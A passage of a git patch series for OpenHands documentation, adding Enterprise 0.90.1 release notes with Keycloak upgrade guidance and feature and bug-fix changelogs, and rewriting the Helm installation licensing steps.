"enterprise/k8s-install/aks", "enterprise/k8s-install/gke" ] + }, + { + "group": "Experimental", + "pages": [ + { + "group": "Docker Compose", + "icon": "docker", + "root": "enterprise/docker-compose", + "pages": [ + "enterprise/docker-compose/https", + "enterprise/docker-compose/ngrok" + ] + } + ] } ] }, From 2c976663f94bed5c72d029c5077fe489a4f874f1 Mon Sep 17 00:00:00 2001 From: Hiep Le <69354317+hieptl@users.noreply.github.com> Date: Wed, 28 Oct 2026 00:07:14 +0700 Subject: [PATCH 96/97] docs(enterprise): add 0.90.1 release notes (#1022) --- docs.json | 1 + enterprise/release-notes/0.90.1.mdx | 254 ++++++++++++++++++++++++++++ 2 files changed, 255 insertions(+) create mode 100644 enterprise/release-notes/0.90.1.mdx diff --git a/docs.json b/docs.json index d95cd761b..7b1ce02a3 100644 --- a/docs.json +++ b/docs.json @@ -471,6 +471,7 @@ "group": "Release Notes", "icon": "rocket", "pages": [ + "enterprise/release-notes/0.90.1", "enterprise/release-notes/0.81.0", "enterprise/release-notes/0.76.0", "enterprise/release-notes/0.74.0", diff --git a/enterprise/release-notes/0.90.1.mdx b/enterprise/release-notes/0.90.1.mdx new file mode 100644 index 000000000..2a1ab1cbc --- /dev/null +++ b/enterprise/release-notes/0.90.1.mdx @@ -0,0 +1,254 @@ +--- +title: OpenHands Enterprise 0.90.1 +description: Release notes for OpenHands Enterprise version 0.90.1 +--- + +# OpenHands Enterprise 0.90.1 + +Released October 23, 2026. + +## Highlights + +- **Identity providers managed from the Super Admin dashboard** — Auth providers get their own edit page with a preset picker, branding, a self-registration control, an enabled toggle, help text, and matching of existing users by email. SAML now supports SP-initiated login with SP metadata, GitHub, GitLab, and Bitbucket login providers are seeded through Keycloak, and OAuth V2 login can be turned on from the Admin Console. +- **Azure DevOps** — Repositories are listed and searched across every organization, pull request and work item events reach automations, Service Hook errors are shown instead of hidden, Microsoft Entra sign-in gets git parity, and sandboxes can clone Azure DevOps repositories. +- **Keycloak 26.8 and security updates** — The bundled Keycloak moves from 26.3 to 26.8 to clear known vulnerabilities. The upgrade migrates the Keycloak database one way and the chart backs it up first; see the Upgrade Notes. The Enterprise Server, Agent Server, and Automation images also distrust the compromised eMudhra/emSign certificate authorities. +- **Automation improvements** — Automations can carry descriptions, Azure DevOps is a built-in event source, runs are skipped when the daily sandbox limit is reached, sandboxes that fail to provision are retried and cleaned up, and organization members can save drafts and delete their own uploads. +- **Budget and LLM fixes** — Your Budget shows the effective remaining budget, Slack alert settings persist, the bundled LiteLLM proxy no longer retries rate limits and handles zero-cost models correctly, and Azure AI Foundry can be configured with unsupported-parameter dropping. + +## Upgrade Notes + +- **Keycloak 26.3 to 26.8 is a one-way database migration** — On its first start, Keycloak 26.8 migrates its database to the 26.8 schema, and Keycloak 26.3 cannot run against it afterwards. Before the upgrade, a pre-upgrade Job copies the Keycloak database to `bitnami_keycloak_backup_26_3_0` on the same PostgreSQL server while Keycloak 26.3 is still running. The copy needs PostgreSQL 17 or older, a database user that can `CREATE DATABASE` (the bundled `postgres` user can), and must finish within 240 seconds by default (`keycloak.preUpgradeBackup.activeDeadlineSeconds`; raise it for a large database). If the copy fails, the upgrade stops before anything changes, and the reason is in the log of the `<release>-keycloak-backup` Job. If your installation cannot meet these requirements, back the database up yourself and turn off **Back Up Keycloak Database Before Upgrade** under **Upgrade Checks** in the Admin Console (`keycloak.preUpgradeBackup.enabled=false` for Helm). Installs rendered with `helm template`, such as ArgoCD, never run the Job and must back up by hand. The rollback steps are in the [chart README](https://github.com/OpenHands/OpenHands-Cloud/blob/openhands/0.90.1/charts/openhands/README.md#keycloak-263-to-268). The Job never drops a backup, and every later Keycloak version change adds another full copy, so drop old `bitnami_keycloak_backup_*` databases once you will not roll back. +- **Email verification is no longer enforced by default** — Users whose identity provider does not assert a verified email address can now sign in. Set `REQUIRE_VERIFIED_EMAILS=true` on the Enterprise Server (the chart's `env` map) to keep blocking them until they verify. + +## Features + +#### Enterprise Server + +* feat(auth): add SAML SP-initiated login, ACS callback, and SP metadata routes by @tofarr in https://github.com/OpenHands/enterprise/pull/764 +* feat(secrets): list organization secrets in their own section (OHE-3396) by @hieptl in https://github.com/OpenHands/enterprise/pull/777 +* feat: QOL Auth forms: metadata / redirect URLs by @tofarr in https://github.com/OpenHands/enterprise/pull/781 +* feat: Add auth provider branding and self-registration control by @tofarr in https://github.com/OpenHands/enterprise/pull/783 +* feat(super-admin): switch a provider's Login IDP from the Auth Providers table (OHE-3584) by @hieptl in https://github.com/OpenHands/enterprise/pull/793 +* feat(super-admin): show pending invitations in the Users table (OHE-3582) by @hieptl in https://github.com/OpenHands/enterprise/pull/791 +* feat(auth): seed GitHub/GitLab/Bitbucket login IDPs routed through Keycloak by @tofarr in https://github.com/OpenHands/enterprise/pull/801 +* feat: list and search Azure DevOps repositories in every organization by @ak684 in https://github.com/OpenHands/enterprise/pull/799 +* feat(super-admin): show provider color swatch in auth providers table by @tofarr in https://github.com/OpenHands/enterprise/pull/832 +* feat(budgets): OHE-3507 show the effective remaining budget on Your Budget by @hieptl in https://github.com/OpenHands/enterprise/pull/696 +* feat(auth): add allow_match_by_email to auth_providers by @tofarr in https://github.com/OpenHands/enterprise/pull/830 +* feat: Add Docker Compose stack for running OHE locally (OHE-3376) by @tofarr in https://github.com/OpenHands/enterprise/pull/762 +* feat(app-server): paginate git branch search with a query by @henriquehirako in https://github.com/OpenHands/enterprise/pull/751 +* feat(quota): replace daily conversation limit with daily sandbox limit by @neubig in https://github.com/OpenHands/enterprise/pull/786 +* feat: drive Integrations git provider cards from auth_providers when OAuth v2 is on by @tofarr in https://github.com/OpenHands/enterprise/pull/833 +* feat: OHE-3678 : Superadmins can update user links (auth_provider_users) for an auth provider by @tofarr in https://github.com/OpenHands/enterprise/pull/927 +* feat(app-conversation): launch child conversations server-side for Cloud parents by @hieptl in https://github.com/OpenHands/enterprise/pull/433 +* feat: Gate email-verified middleware check behind REQUIRE_VERIFIED_EMAILS by @tofarr in https://github.com/OpenHands/enterprise/pull/931 +* feat: Add allow_match_by_email field to auth provider admin forms by @tofarr in https://github.com/OpenHands/enterprise/pull/932 +* feat: OHE-3654: optional OH_PERSISTENCE_DIR to keep Compose data across down by @tofarr in https://github.com/OpenHands/enterprise/pull/898 +* feat(azure-devops): show members when the org webhook was installed (FDE-194) by @ak684 in https://github.com/OpenHands/enterprise/pull/933 +* feat(azure-devops): send pull request events to automations (FDE-199) by @ak684 in https://github.com/OpenHands/enterprise/pull/945 +* feat: edit auth providers on their own page; create from a preset picker by @tofarr in https://github.com/OpenHands/enterprise/pull/953 +* feat(auth): OHE-3575 background jobs read OAuth v2 git tokens by @aivong-openhands in https://github.com/OpenHands/enterprise/pull/919 +* feat(auth): OHE-3575 map webhook senders to OAuth v2-linked users by @aivong-openhands in https://github.com/OpenHands/enterprise/pull/920 +* feat(auth): OHE-3575 start GitLab repo sync after OAuth v2 linking by @aivong-openhands in https://github.com/OpenHands/enterprise/pull/921 +* feat: restore admin user lifecycle API by @neubig in https://github.com/OpenHands/enterprise/pull/665 +* feat(super-admin): add help text for auth provider toggles by @tofarr in https://github.com/OpenHands/enterprise/pull/977 +* feat: add enabled flag to auth providers (OHE-3722) by @tofarr in https://github.com/OpenHands/enterprise/pull/978 +* feat: Make sandbox grouping strategy default configurable via env var (OHE-3733) by @tofarr in https://github.com/OpenHands/enterprise/pull/968 + +#### Software Agent SDK + +* feat(acp): discover an ACP agent's default and available models (and restore Gemini model handling) by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/5579 +* feat(agent-profiles): let a profile replace the agent's persona by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/5449 +* feat(agent-profiles): tools is the only tool control, selected from one server catalog by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/5151 +* feat: launch inline Agent Profiles and per-launch LLM overrides by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/5409 +* feat(sdk): let Agent Profiles select public skills, read them locally and use the global critic key by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/5981 +* feat(agent-server): accept additional skills when launching an agent by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4960 +* feat(agent-server): list the skills a profile launch can load by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/6098 +* feat(agent-server): add start_child_conversation tool with a pluggable launcher by @hieptl in https://github.com/OpenHands/software-agent-sdk/pull/5126 +* feat(agent-server): add stop operation for a single BashCommand by @onatozmenn in https://github.com/OpenHands/software-agent-sdk/pull/5348 +* feat(agent-server): per-conversation runtime choice and runtime settings by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/5977 +* feat(agent-server): archive runtimes of long-inactive Docker conversations by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/5429 +* feat(agent-server): reclaim Docker runtime caches and disable core dumps by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/5263 +* feat(agent-server): shed gitignored workspace dirs of stopped runtimes above a disk budget by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/5407 +* feat(llm): make OpenRouter a verified provider by @juanmichelini in https://github.com/OpenHands/software-agent-sdk/pull/5274 +* feat(llm): add DigitalOcean Inference as a verified provider by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/5673 +* feat(llm): add minimax-m3.1-flash to verified models by @juanmichelini in https://github.com/OpenHands/software-agent-sdk/pull/6101 +* feat(sdk): support custom title generation prompts by @DevinVinson in https://github.com/OpenHands/software-agent-sdk/pull/4564 +* feat(security): emit SecurityAnalysisEvent with the analyzer's verdict per action batch by @smolpaws in https://github.com/OpenHands/software-agent-sdk/pull/5182 +* feat(workspace): clone Azure DevOps repositories by @ak684 in https://github.com/OpenHands/software-agent-sdk/pull/6147 + +#### Automation + +* feat: add automation descriptions by @Rohithmatham12 in https://github.com/OpenHands/automation/pull/527 +* feat: add Azure DevOps as a built-in event source by @ak684 in https://github.com/OpenHands/automation/pull/626 +* feat: let PATCH change a preset automation's repositories by @ak684 in https://github.com/OpenHands/automation/pull/625 +* feat(capabilities): advertise the Git providers runs clone from by @ak684 in https://github.com/OpenHands/automation/pull/633 +* feat: skip runs when the daily sandbox limit is reached by @neubig in https://github.com/OpenHands/automation/pull/583 +* feat: add plugin-backed executable automations by @malhotra5 in https://github.com/OpenHands/automation/pull/580 +* feat: optionally run PostgreSQL migrations on startup by @jlav in https://github.com/OpenHands/automation/pull/530 +* feat: optionally create the PostgreSQL database if missing by @jlav in https://github.com/OpenHands/automation/pull/531 +* feat: publish the automation image for amd64 and arm64 by @jlav in https://github.com/OpenHands/automation/pull/635 + +#### OpenHands Cloud (Helm Chart) + +* feat: configure Azure AI Foundry and unsupported parameter dropping by @ak684 in https://github.com/OpenHands/OpenHands-Cloud/pull/1337 +* feat(keycloak): back up the Keycloak database before upgrading by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1410 +* feat(replicated): add OAuth V2 login option by @tofarr in https://github.com/OpenHands/OpenHands-Cloud/pull/1446 +* feat(replicated): add SUPER_ADMIN_EMAILS config option by @tofarr in https://github.com/OpenHands/OpenHands-Cloud/pull/1466 + +## Bug Fixes + +#### Enterprise Server + +* fix(usage): only offer Stop when the conversation's runtime is running (OHE-3504) by @hieptl in https://github.com/OpenHands/enterprise/pull/768 +* fix(skills): size the Enabled column so the skills table stops scrolling sideways (OHE-3395) by @hieptl in https://github.com/OpenHands/enterprise/pull/776 +* fix(frontend): title the browser tab "OpenHands" on self-hosted installs (OHE-3300) by @hieptl in https://github.com/OpenHands/enterprise/pull/770 +* fix(usage): keep the dashboard chart's y-axis labels off the date row (OHE-3212) by @hieptl in https://github.com/OpenHands/enterprise/pull/775 +* fix(budgets): stop repeating the email as the user's name in overrides (OHE-3209) by @hieptl in https://github.com/OpenHands/enterprise/pull/772 +* fix(super-admin): grant Super Admin from the Users page by @tofarr in https://github.com/OpenHands/enterprise/pull/731 +* fix(budgets): keep Save and Cancel on screen when editing a user override (OHE-3392) by @hieptl in https://github.com/OpenHands/enterprise/pull/774 +* fix(usage): default the conversation trigger so the Source column is never empty (OHE-3211) by @hieptl in https://github.com/OpenHands/enterprise/pull/769 +* fix(budgets): call a disabled per-user budget Unlimited (OHE-3214) by @hieptl in https://github.com/OpenHands/enterprise/pull/773 +* fix(skills): accept percent-encoded Azure DevOps marketplace sources by @ak684 in https://github.com/OpenHands/enterprise/pull/778 +* fix(skills): authenticate Azure DevOps marketplace clones for Entra users by @ak684 in https://github.com/OpenHands/enterprise/pull/782 +* fix(super-admin): hide Invite by email when the instance cannot send email (OHE-3581) by @hieptl in https://github.com/OpenHands/enterprise/pull/790 +* fix(super-admin): offer Suspend or Activate by the checked memberships' status (OHE-3583) by @hieptl in https://github.com/OpenHands/enterprise/pull/792 +* fix: scope Azure DevOps webhook management by organization by @ak684 in https://github.com/OpenHands/enterprise/pull/508 +* fix: exempt /canvas/assets from cache-control and rate-limit middleware by @tofarr in https://github.com/OpenHands/enterprise/pull/823 +* fix(skills): pin marketplace sources to their provider and clone previews shallow by @ak684 in https://github.com/OpenHands/enterprise/pull/787 +* fix: show Azure DevOps Service Hook errors and keep hooks on failed reinstall by @ak684 in https://github.com/OpenHands/enterprise/pull/797 +* fix(skills): load marketplace sources without a scheme and check them before saving by @ak684 in https://github.com/OpenHands/enterprise/pull/795 +* fix: stop OpenHands answering its own Azure DevOps work item replies by @ak684 in https://github.com/OpenHands/enterprise/pull/821 +* fix(auth): fetch real git-provider tokens for legacy Keycloak-federated login IDPs by @tofarr in https://github.com/OpenHands/enterprise/pull/822 +* fix(app-server): stop dropping items at git pagination page boundaries by @henriquehirako in https://github.com/OpenHands/enterprise/pull/733 +* fix: use new white logo in ToS and other modal dialogs by @tofarr in https://github.com/OpenHands/enterprise/pull/867 +* fix(gitlab): PLTF-3689 claim webhook rows and support hook repair by @aivong-openhands in https://github.com/OpenHands/enterprise/pull/692 +* fix: resolve Azure DevOps work item commenters by email by @ak684 in https://github.com/OpenHands/enterprise/pull/802 +* fix(budgets): remove the # icon in front of the Slack channel input by @henriquehirako in https://github.com/OpenHands/enterprise/pull/730 +* fix: list Azure DevOps repositories with one call per organization by @ak684 in https://github.com/OpenHands/enterprise/pull/847 +* fix(skills): preview the skills a conversation loads from repositories without a manifest by @ak684 in https://github.com/OpenHands/enterprise/pull/803 +* fix(bitbucket-dc): send access tokens as Bearer, not x-token-auth Basic by @ak684 in https://github.com/OpenHands/enterprise/pull/870 +* fix(super-admin): stop truncating "All organizations" in the dashboard org filter (OHE-3665) by @hieptl in https://github.com/OpenHands/enterprise/pull/891 +* fix(super-admin): turn the setup guide off from its close button (OHE-3658) by @hieptl in https://github.com/OpenHands/enterprise/pull/889 +* fix(settings): don't add a Default LLM profile when the install has no default LLM (OHE-3662) by @hieptl in https://github.com/OpenHands/enterprise/pull/896 +* fix(settings): show one error toast when a password change fails (OHE-3661) by @hieptl in https://github.com/OpenHands/enterprise/pull/893 +* fix(models): fill the Verified provider list when LiteLLM is off (OHE-3653) by @hieptl in https://github.com/OpenHands/enterprise/pull/892 +* fix(events): keep concurrent event saves from failing the webhook by @ak684 in https://github.com/OpenHands/enterprise/pull/878 +* fix(secrets): use the in-process lock when Redis isn't configured (OHE-3668) by @hieptl in https://github.com/OpenHands/enterprise/pull/894 +* fix(sandbox): pull the agent server image at startup (PLTF-3903) by @jlav in https://github.com/OpenHands/enterprise/pull/904 +* fix(oauth): OHE-3575 make OAuth v2 linking work and browser-bound by @aivong-openhands in https://github.com/OpenHands/enterprise/pull/824 +* fix(super-admin): keep the OAuth client secret when editing an auth provider (OHE-3676) by @tofarr in https://github.com/OpenHands/enterprise/pull/906 +* fix(budgets): accept only numbers in the budget amount inputs by @henriquehirako in https://github.com/OpenHands/enterprise/pull/765 +* fix(skills): show the marketplace name in the skills list by @ak684 in https://github.com/OpenHands/enterprise/pull/925 +* fix(llm-profiles): start a conversation on a picked LLM profile (OHE-3669) by @hieptl in https://github.com/OpenHands/enterprise/pull/909 +* fix(super-admin): respect hide_personal_workspaces in the Organizations table (OHE-3664) by @hieptl in https://github.com/OpenHands/enterprise/pull/907 +* fix(sandbox): bind the delete route's path parameter to sandbox_id (OHE-3687) by @hieptl in https://github.com/OpenHands/enterprise/pull/924 +* fix(super-admin): open Canvas setup steps on the guide's org (OHE-3681) by @hieptl in https://github.com/OpenHands/enterprise/pull/922 +* fix(frontend): make the "Invite as" role pickers select-only (OHE-3682) by @hieptl in https://github.com/OpenHands/enterprise/pull/923 +* fix(frontend): link Azure DevOps repositories to their _git page by @ak684 in https://github.com/OpenHands/enterprise/pull/928 +* fix(azure-devops): don't show 'Not installed' to members who can't read Service Hooks (FDE-192) by @ak684 in https://github.com/OpenHands/enterprise/pull/926 +* fix(auth): route SSO-first Git connections through the authenticated provider by @rajshah4 in https://github.com/OpenHands/enterprise/pull/838 +* fix: pin database sessions to UTC so timestamps persist as written by @ak684 in https://github.com/OpenHands/enterprise/pull/444 +* fix(budgets): persist Slack alert settings by @saurya in https://github.com/OpenHands/enterprise/pull/610 +* fix(app-conversation): allow starts in sandboxes on an older image by @jpshackelford in https://github.com/OpenHands/enterprise/pull/903 +* fix(mcp): build the hosted OAuth install client on the SDK's MCPOAuth by @ak684 in https://github.com/OpenHands/enterprise/pull/951 +* fix: Azure DevOps git parity for Microsoft Entra sign-in by @ak684 in https://github.com/OpenHands/enterprise/pull/942 +* fix(mcp): register hosted OAuth install clients as OpenHands by @ak684 in https://github.com/OpenHands/enterprise/pull/957 +* fix: Add SUPER_ADMIN_EMAILS escape hatch for super-admin role grants by @tofarr in https://github.com/OpenHands/enterprise/pull/930 +* fix(azure-devops): tell the agent its provider, host and organizations by @ak684 in https://github.com/OpenHands/enterprise/pull/958 +* fix: report failed repository clones and set a default git identity by @ak684 in https://github.com/OpenHands/enterprise/pull/959 +* fix(mcp): resolve secret references in the MCP connection test by @ak684 in https://github.com/OpenHands/enterprise/pull/967 +* fix(mcp): resolve secret references in the MCP tool-call route by @ak684 in https://github.com/OpenHands/enterprise/pull/972 +* fix(auth): report the configured GitLab host for IdP-sourced tokens by @ak684 in https://github.com/OpenHands/enterprise/pull/973 +* fix(app-conversation): title conversations with the model they run on by @ak684 in https://github.com/OpenHands/enterprise/pull/976 +* fix(security): distrust compromised eMudhra/emSign CAs (certifi/pip/uv) by @neubig in https://github.com/OpenHands/enterprise/pull/980 +* fix(auth): log user out to retry when IdP broker tokens are unusable by @neubig in https://github.com/OpenHands/enterprise/pull/840 +* fix(app-conversation): prefer sandboxes on the advertised image when grouping by @hieptl in https://github.com/OpenHands/enterprise/pull/966 +* fix(frontend): filter the first-install LLM provider picker as you type (OHE-3730) by @hieptl in https://github.com/OpenHands/enterprise/pull/983 +* fix(frontend): explain an empty Integrations page and how to add a provider (OHE-3731) by @hieptl in https://github.com/OpenHands/enterprise/pull/984 +* fix(integrations): load org and user skills for integration-started conversations by @ak684 in https://github.com/OpenHands/enterprise/pull/970 +* fix(sandbox): resolve an existing sandbox's spec with a default fallback by @hieptl in https://github.com/OpenHands/enterprise/pull/965 + +#### Software Agent SDK + +* fix(agent-server): don't advertise a VS Code URL while VS Code is not running by @enyst in https://github.com/OpenHands/software-agent-sdk/pull/5907 +* fix(agent-server): URL-encode the VS Code URL's folder and token by @enyst in https://github.com/OpenHands/software-agent-sdk/pull/5859 +* fix(agent-server): keep the managed-key refresh hook after an LLM switch by @enyst in https://github.com/OpenHands/software-agent-sdk/pull/5904 +* fix(agent-server): bound profile pre-flight and reject exhausted quotas by @enyst in https://github.com/OpenHands/software-agent-sdk/pull/5768 +* fix(agent-server): keep sockets and /v1 closed until deferred init completes by @enyst in https://github.com/OpenHands/software-agent-sdk/pull/5661 +* fix(agent-server): support cipher key rotation and refuse writes under a lost key by @enyst in https://github.com/OpenHands/software-agent-sdk/pull/5758 +* fix(agent-server): re-vendor pip's urllib3 and msgpack to patched versions by @aivong-openhands in https://github.com/OpenHands/software-agent-sdk/pull/5725 +* fix(agent-server): keep resumed goal loops within max_iterations by @enyst in https://github.com/OpenHands/software-agent-sdk/pull/5832 +* fix(agent-server): release terminal run permits promptly by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/5403 +* fix(agent-server): stop startup tmux cleanup killing live sibling sessions by @all-hands-bot in https://github.com/OpenHands/software-agent-sdk/pull/5589 +* fix(agent-server): keep tmux socket paths within the Unix socket limit by @enyst in https://github.com/OpenHands/software-agent-sdk/pull/5559 +* fix(container): refresh agent server security dependencies by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/5582 +* fix(security): distrust compromised eMudhra/emSign CAs (certifi/pip/uv) by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/6162 +* fix(server): dedupe concurrent conversation creates and forks by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/5362 +* fix(llm): keep provider credentials out of completion logs by @enyst in https://github.com/OpenHands/software-agent-sdk/pull/5657 +* fix(llm): don't send stop words to OpenAI models on Bedrock by @kimnamu in https://github.com/OpenHands/software-agent-sdk/pull/5291 +* fix(llm): keep verified OpenRouter models discoverable by @enyst in https://github.com/OpenHands/software-agent-sdk/pull/5703 +* fix(llm): resolve prompt_cache_key via real provider for proxied models by @juanmichelini in https://github.com/OpenHands/software-agent-sdk/pull/5332 +* fix(llm): send OpenRouter session_id for sticky routing and prompt-cache affinity by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/6165 +* fix(llm): stop dropping images when string serializer is forced by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/5460 +* fix(llm): stop string-serializing vision-capable DeepSeek v4 models by @cbagwell in https://github.com/OpenHands/software-agent-sdk/pull/5467 +* fix(sdk): recognize Haiku 5.5 prompt caching without model metadata by @smolpaws in https://github.com/OpenHands/software-agent-sdk/pull/5587 +* fix(sdk): add ghu_/ghs_/gho_ GitHub token patterns to redact_api_key_literals by @all-hands-bot in https://github.com/OpenHands/software-agent-sdk/pull/6072 +* fix(sdk): skip sub-agents whose skill is missing instead of failing by @enyst in https://github.com/OpenHands/software-agent-sdk/pull/5754 +* fix(mcp): keep stored OAuth credentials when a conversation's token refresh fails by @ak684 in https://github.com/OpenHands/software-agent-sdk/pull/6138 +* fix(mcp): recover after HTTP session failure by @Shimada666 in https://github.com/OpenHands/software-agent-sdk/pull/4838 +* fix(mcp): register OAuth clients with a supported auth method and send Basic credentials once by @ak684 in https://github.com/OpenHands/software-agent-sdk/pull/6145 +* fix(marketplace): load skills from registered repositories without a manifest by @ak684 in https://github.com/OpenHands/software-agent-sdk/pull/6009 +* fix(git): keep Azure DevOps clone URLs without a .git suffix by @ak684 in https://github.com/OpenHands/software-agent-sdk/pull/5986 +* fix(terminal): isolate tmux sockets to prevent cross-conversation handle reuse by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/5485 +* fix(terminal): notice a finished command within milliseconds instead of at the next 0.5 s poll by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/5715 +* fix(terminal): preserve scripts across heredoc boundaries by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/5342 +* fix(terminal): run agent terminals below the server's CPU priority by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/6112 +* fix(tools): apply the sanitized environment to tmux terminal shells by @ak684 in https://github.com/OpenHands/software-agent-sdk/pull/6148 +* fix: use short tmux sockets for overlong paths by @jpshackelford in https://github.com/OpenHands/software-agent-sdk/pull/6038 +* fix(file_editor): prefer valid UTF-8 encoding by @Shimada666 in https://github.com/OpenHands/software-agent-sdk/pull/4784 +* fix(file-editor): preserve terminal newline semantics by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/5670 +* fix(subagent): sub-agents inherit exactly the parent's MCP servers by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/5747 +* fix(subagent): let scoped sub-agents keep conversation-local tools like task_tracker by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/5520 +* fix(agent-profiles): keep delegated sub-agents within the profile's tools and MCP servers by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/5358 +* fix(workspace): publish Docker ports on loopback by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/5209 +* fix(logging): bound Rich exception traversal and keep the event server responsive by @IamK77 in https://github.com/OpenHands/software-agent-sdk/pull/5489 + +#### Automation + +* fix(auth): accept the OAuth v2 openhands_auth session cookie by @tofarr in https://github.com/OpenHands/automation/pull/568 +* fix: let org members save drafts and delete their own uploads by @ak684 in https://github.com/OpenHands/automation/pull/618 +* fix: retry and clean up sandboxes that fail to provision by @ak684 in https://github.com/OpenHands/automation/pull/593 +* fix: normalize async Postgres URLs for alembic by @lkshrk in https://github.com/OpenHands/automation/pull/420 +* fix(container): create /data owned by the service user by @jlav in https://github.com/OpenHands/automation/pull/628 +* fix: commit the request session before the response is sent by @Jacob-Lasky in https://github.com/OpenHands/automation/pull/595 +* fix(local): remove a run's workspace when the watchdog terminalizes it by @lkshrk in https://github.com/OpenHands/automation/pull/423 +* fix(security): distrust compromised eMudhra/emSign CAs (certifi/pip/uv) by @neubig in https://github.com/OpenHands/automation/pull/642 + +#### OpenHands Cloud (Helm Chart) + +* fix(keycloak): run Keycloak 26.8.0 from third-party-images by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1399 +* fix(keycloak): preserve SAML certificate JSON during provisioning by @rajshah4 in https://github.com/OpenHands/OpenHands-Cloud/pull/1422 +* fix(openhands): collect live budget state in support bundles by @ak684 in https://github.com/OpenHands/OpenHands-Cloud/pull/1226 +* fix(device-plugin): run generic-device-plugin from third-party-images by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1442 +* fix(openhands): pull bundled minio images from the ghcr mirror by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/1467 +* fix(openhands): stop the bundled LiteLLM proxy from retrying rate limits by @ak684 in https://github.com/OpenHands/OpenHands-Cloud/pull/1473 +* fix(litellm): bump bundled proxy to 1.103.6 for zero-cost model budget fix by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1475 + +## Component Versions + +| Component | Version | +|-----------|---------| +| enterprise-server | 1.79.0 | +| agent-server | 1.58.1-python | +| agent-canvas | 1.32.0 | +| automation | 1.25.1 | +| runtime-api | 0.11.1 | + +## Full Changelog + +- [Enterprise Server releases](https://github.com/OpenHands/enterprise/releases) +- [Software Agent SDK releases](https://github.com/OpenHands/software-agent-sdk/releases) +- [Runtime API releases](https://github.com/OpenHands/runtime-api/releases) +- [Automation releases](https://github.com/OpenHands/automation/releases) +- [OpenHands Cloud releases](https://github.com/OpenHands/OpenHands-Cloud/releases) From 25433a1dc5f5bf429c10a978e414ce5068cce08e Mon Sep 17 00:00:00 2001 From: jpelletier1 <44589723+jpelletier1@users.noreply.github.com> Date: Tue, 27 Oct 2026 13:33:35 -0400 Subject: [PATCH 97/97] docs: update Helm install license steps to use installation portal (#1028) Co-authored-by: openhands <openhands@all-hands.dev> --- enterprise/k8s-install/installation.mdx | 40 ++++++++++++++----------- 1 file changed, 22 insertions(+), 18 deletions(-) diff --git a/enterprise/k8s-install/installation.mdx b/enterprise/k8s-install/installation.mdx index 81e029a30..96ef9af43 100644 --- a/enterprise/k8s-install/installation.mdx +++ b/enterprise/k8s-install/installation.mdx @@ -10,26 +10,25 @@ license automatically at install time. ## Get an Enterprise License -1. [Contact our team](https://openhands.dev/contact) to request an OpenHands - Enterprise license enabled for **installation with Helm**. - If you already have a license or have - [registered for a free 30-day trial](https://install.r9.all-hands.dev/openhands/signup), - confirm with our team that Helm installation is enabled before continuing. -2. Obtain your **license email address** and **license ID** from the Helm - instructions in your install portal or from our team. If the portal offers - only VM installation instructions, contact us to enable Helm access. -3. Use the license email address as the registry username and the license ID as - its password in [Step 1](#step-1-log-in-to-the-registry). Keep these credentials - outside version control and avoid sharing commands that contain the license ID. - -A license YAML download is not required for Helm. If you already have a license -YAML from a VM installation, `spec.customerEmail` is the registry username and -`spec.licenseID` is the password. Keep that file outside version control too. +1. Request a 30-day trial by contacting OpenHands via + [openhands.dev/pricing](https://www.openhands.dev/pricing). +2. You will receive a link to sign up for the OpenHands installation portal. +3. After you sign up, open the **Install** tab in the installation portal. You + will see two options: **Linux VM** and **Helm**. Select **Helm** to proceed + with a Kubernetes-based deployment. +4. Follow the on-screen instructions to configure your Helm install. The portal + guides you through step-by-step commands to + [prepare your cluster](#prepare-your-cluster) and install the Helm chart. + +The portal also shows your **license email address** and **license ID**. You +use them as the registry username and password in +[Step 1](#step-1-log-in-to-the-registry). Keep these credentials outside version +control and avoid sharing commands that contain the license ID. <Note> - Embedded-cluster installer assets and commands in the install portal are for - VM installations. Continue with this Helm guide to deploy into your Kubernetes - cluster; you do not need to run the embedded-cluster installer. + If the portal offers only VM installation instructions, contact the OpenHands + team to enable Helm access. The embedded-cluster installer is for VM + installations only. You do not need to run it for a Helm deployment. </Note> ## Prepare Your Cluster @@ -86,6 +85,11 @@ printf '%s' "$OH_LICENSE_ID" | helm registry login registry.replicated.com \ unset OH_LICENSE_ID ``` +<Note> + These install commands are also available in the installation portal under + **Install** → **Helm**. +</Note> + ## Step 2: Create the namespaces and secrets We recommend running agent sandboxes in a namespace separate from the

